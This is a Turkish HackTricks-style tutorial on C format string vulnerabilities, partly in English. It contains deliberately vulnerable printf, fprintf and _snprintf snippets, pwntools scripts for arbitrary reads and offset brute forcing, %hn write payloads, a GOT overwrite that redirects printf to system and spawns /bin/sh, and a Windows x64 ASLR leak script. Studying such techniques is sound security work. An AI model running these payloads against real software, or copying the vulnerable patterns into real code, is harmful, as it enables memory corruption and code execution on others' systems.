12 KiB
Format Strings
{{#include ../../banners/hacktricks-training.md}}
Temel Bilgiler
C'de printf bir stringi yazdırmak için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği ilk parametre, format belirleyicileriyle birlikte ham metindir. Beklenen izleyen parametreler ise ham metindeki format belirleyicilerini yerine koymak için kullanılacak değerlere karşılık gelir.
Diğer savunmasız fonksiyonlar sprintf() ve fprintf()'dir.
Zafiyet, bu fonksiyona saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi durumunda ortaya çıkar. Saldırgan, printf format string yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir) imkanına sahip olacaktır. Bu yolla rastgele kod çalıştırma mümkün hale gelir.
Format belirleyicileri:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Örnekler:
- Zafiyetli örnek:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normal Kullanım:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Eksik Argümanlarla:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf zafiyeti:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
İşaretçilere Erişim
Biçim %<n>$x, burada n bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz:
printf("%x %x %x %x")
ve birinci ile dördüncü parametreyi okurdunuz.
Ya da şunu yapabilirdiniz:
printf("%4$x")
ve doğrudan dördüncüyü okumak.
Dikkat edin ki saldırgan printf parameter'ını kontrol eder, bu temel olarak demektir ki onun girdisi printf çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir.
Caution
Bu girdiyi kontrol eden bir saldırgan, stack'e istediği address'i ekleyebilecek ve
printf'in bunlara erişmesini sağlayabilecektir. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.
Arbitrary Read
%n$s formatter'ını kullanarak printf'in n pozisyonunda bulunan address'i almasını, onu takip etmesini ve sanki bir stringmiş gibi yazdırmasını (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i 0x8048000 ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
Caution
0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir.
Find offset
input'unuza olan offset'i bulmak için 4 veya 8 bytes (0x41414141) gönderip ardından %1$x ekleyebilir ve değeri artırarak A's'ları alana kadar ilerleyebilirsiniz.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Ne işe yarar
Arbitrary reads şu amaçlarla faydalı olabilir:
- **Dump** bellekteki **binary**'yi çıkarmak
- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
Formatlayıcı **`%<num>$n`** **yazar** stack'teki <num> parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Ancak, genellikle 0x08049724 gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), $hn kullanılır $n yerine. Bu, sadece 2 Byte yazmaya izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha.
Dolayısıyla, bu zafiyet herhangi bir adrese herhangi bir şeyi yazmaya (arbitrary write) izin verir.
Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun adresini üzerine yazmak (overwrite) olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir:
{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}
Kullanıcının argümanlarını alan bir fonksiyonu overwrite edip bunu system fonksiyonuna işaret edeceğiz.
Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için $hn kullanılır.
- HOB, adresin üst 2 byteları için kullanılır
- LOB, adresin alt 2 byteları için kullanılır
Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki küçüğü yazmanız, sonra diğerini yazmanız gerekir.
Eğer HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Eğer HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Şablonu
Bu tür bir zafiyet için bir exploit hazırlamak üzere bir şablon bulabilirsiniz:
{{#ref}} format-strings-template.md {{#endref}}
Ya da here adresindeki bu temel örnek:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür.
Windows x64: Format-string leak to bypass ASLR (no varargs)
Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
Pratik iş akışı:
- Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır.
- Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i
leak - known_offsetolarak geri kazanın. - Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın.
Example (abbreviated python):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Notes:
- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version).
- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin.
- Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür.
Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır.
Diğer Örnekler & Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address
fflushwith the win function (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in
.fini_array(so the flow loops back 1 more time) and write the address tosystemin the GOT table pointing tostrlen. When the flow goes back to main,strlenis executed with user input and pointing tosystem, it will execute the passed commands.
Referanslar
{{#include ../../banners/hacktricks-training.md}}